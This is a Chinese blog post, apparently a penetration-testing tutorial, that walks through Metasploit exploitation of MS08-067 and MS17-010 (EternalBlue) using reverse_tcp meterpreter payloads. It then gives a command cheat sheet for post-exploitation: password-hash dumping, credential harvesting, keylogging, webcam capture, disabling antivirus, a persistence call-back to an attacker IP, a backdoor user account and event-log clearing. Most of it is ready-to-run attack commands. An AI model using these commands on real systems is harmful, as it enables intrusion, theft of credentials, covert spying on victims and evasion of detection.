Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具。
Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。
文件结构与模块:
路径: /usr/share/metasploit-framework/
config: MSF环境配置信息,数据库配置信息
data:后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
documentation:用户说明文档及开发文档
external: MSF的一些基础扩展模块
lib:基础类和第三方模块类
modules: MSF系统工具模块
plugins:第三方插件接口
scripts: MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
tools:额外的小工具和第三方脚本工具
msfconsole: MSF基本命令行,集成了各种功能
msfd: MSF服务,非持久性服务
msfdb: MSF数据库
msfupdate: MSF更新模块,可以用来更新MSF模块
msfrpc: MSF的服务端,非持久性的rpc服务
msfrpcd:持久性的MSF本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。
用 Metasploit 进行渗透测试的一般流程:
1、扫描目标机系统,寻找可用漏洞。
2、选择并配置- 个渗透攻击(漏洞利用)模块(exploits)。
3、选择并配置- 个攻击载荷模块(payloads)。
4、选择- -种编码技术(encoders),用来绕过杀毒软件的查杀。
5、执行渗透攻击。
6、后渗透阶段的操作。
应用实例 ms08-067 漏洞利用:
目标机:Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版。
对目标机进行漏洞扫描,确认其存在ms08-067漏洞。本例中使用Nmap工具的以下命令对目标进行专项漏洞检测:
nmap --script smb-vuln-ms08-067.nse 目标IP地址
之后,用以下指令启动metasploit:
msfdb init && msfconsole
在msf终端下输入以下命令查找ms08-067相关模块:
search ms08-067
之后,用 use 指令,如下所示:
use 序号
可以用 show options 指令查看可选参数,用 set RHOST 指令设置目标IP,设置 payload 用如下指令:
set payload windows/meterpreter/reverse_tcp
最后,执行攻击用以下指令:
exploit
至于是否成功,自己看提示。
应用实例 ms017-010 漏洞利用:
目标机: Windows 7 (含ms17-010漏洞)。
先启动Metasploit,之后在ms终端下输入以下命令查找ms17-010相关模块:
search ms17-010
分别输入以下命令,使用smb_ ms17. _010模块对目标机进行漏洞检测,确认其存在ms17-010漏洞:
use auxiliary/scanner/smb/smb_ ms17_ 010
上面这条指令的意思是:使用smb_ ms17_ 010模块,也可以 use 序列号。
show options
上面这条指令的意思是:查看该模块需要设置哪些参数。
set RHOST 目标IP地址
确认参数设置完毕后,利用以下命令执行漏洞检测:
run
检测结果看提示。
如果检测结果为目标机具有ms17-010漏洞(vulnerable),则分别输入以下命令,使用ms17_ 010_ eternalblue 模块对目标机的ms17-010漏洞进行利用:
use exploit/windows/smb/ms17_ 010_ eternalblue
上面这条指令的意思是:使用ms17_ 010_ eternalblue模块。
set RHOST 目标IP地址
set payload windows/x64/meterpreter/reverse_tcp
上面这条指令的意思是:使用payload: meterpreter/reverse_ tcp
set RPORT 端口号
set target 0
上面这条指令的意思是:设置目标操作系统类型为Windows 7。
确认参数设置完毕后,利用以下命令执行漏洞利用:
run
攻击执行成功后,会显示meterpreter的提示符(为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp)。直接在该提示符下输入shell命令,则可以拿到目标机的shell。
运行了 exploit 命令之后,我们开启了一个 reverse TCP 监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit。
要想从 meterpreter 退出到MSF框架,输入以下指令:
background
输入 sessions -l 查看我们获得的 shell。
输入 sessions -i 1 即可切换到 id 为 1 的 shell。
在 meterpreter 中我们可以使用以下的命令来实现对目标的操作:
sysinfo | 查看目标主机系统信息 |
run scraper | 查看目标主机详细信息 |
run hashdump | 导出密码的哈希 |
load kiwi | 加载 |
ps | 查看目标主机进程信息 |
pwd | 查看目标当前目录(windows) |
getlwd | 查看目标当前目录(Linux) |
search -f *.jsp -d e:\ | 搜索E盘中所有以.jsp为后缀的文件 |
download e:\test.txt /root | 将目标机的e:\test.txt文件下载到/root目录下 |
upload /root/test.txt d:\test | 将/root/test.txt上传到目标机的 d:\test\ 目录下getpid |
PIDmigrate 1384 | 将当前Meterpreter Shell的进程迁移到PID为1384的进程上 |
idletime | 查看主机运行时间 |
getuid | 查看获取的当前权限 |
getsystem | 提权 |
run killav | 关闭杀毒软件 |
screenshot | 截图 |
webcam_list | 查看目标主机的摄像头 |
webcam_snap | 拍照 |
webcam_stream | 开视频 |
execute 参数 -f 可执行文件 | 执行可执行程序 |
run getgui -u hack -p 123 | 创建hack用户,密码为123 |
run getgui -e | 开启远程桌面 |
keyscan_start | 开启键盘记录功能 |
keyscan_dump | 显示捕捉到的键盘记录信息 |
keyscan_stop | 停止键盘记录功能 |
uictl disable keyboard | 禁止目标使用键盘 |
uictl enable keyboard | 允许目标使用键盘 |
uictl disable mouse | 禁止目标使用鼠标 |
uictl enable mouse | 允许目标使用鼠标 |
load | 使用扩展库 |
run | 使用扩展库 |
run persistence -X -i 5 -p 8888 -r 192.168.10.27 | 反弹时间间隔是 5s 会自动连接,192.168.27的4444端口,缺点是容易被杀毒软件查杀 |
portfwd add -l 3389 -r 192.168.11.13 -p 3389 | 将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址 |
clearev | 清除日志 |
下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作:
run post/windows/manage/migrate | 自动进程迁 |
run post/windows/gather/checkvm | 查看目标主机是否运行在虚拟机上 |
run post/windows/manage/killav | 关闭杀毒软件 |
run post/windows/manage/enable_rdp | 开启远程桌面服务 |
run post/windows/manage/autoroute | 查看路由信息 |
run post/windows/gather/enum_logged_on_users | 列举当前登录的用户 |
run post/windows/gather/enum_applications | 列举应用程序 |
run windows/gather/credentials/windows_autologin | 抓取自动登录的用户名和密码 |
run windows/gather/smart_hashdump | dump出所有用户的hash |
关于reverse_ tcp:
攻击机设置一个端口(LPORT)和IP(LHOST) ,Payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现目标机已经连接。
victim_ IP:xxxx -> attacker. IP:4444
采用reverse的方法一般较为安全, 因为是目标机主动连接攻击机,所以一般不会被防火墙发现。
关于bind_ _tcp:
攻击机设置一个端口(LPORT) ,Payload在目标机执行打开该端口,以便攻击机可以接入。
attacker_ IP:xXXx -> victim_ IP:4444
采用bind的方法,攻击机主动连接目标机( 即需要在目标机上打开端口)时很容易被安全软件和防火墙发现。
标签:Metasploit,run,windows,Kali,目标,010,ms17,模块,测试工具 From: https://www.cnblogs.com/n5you/p/17471588.html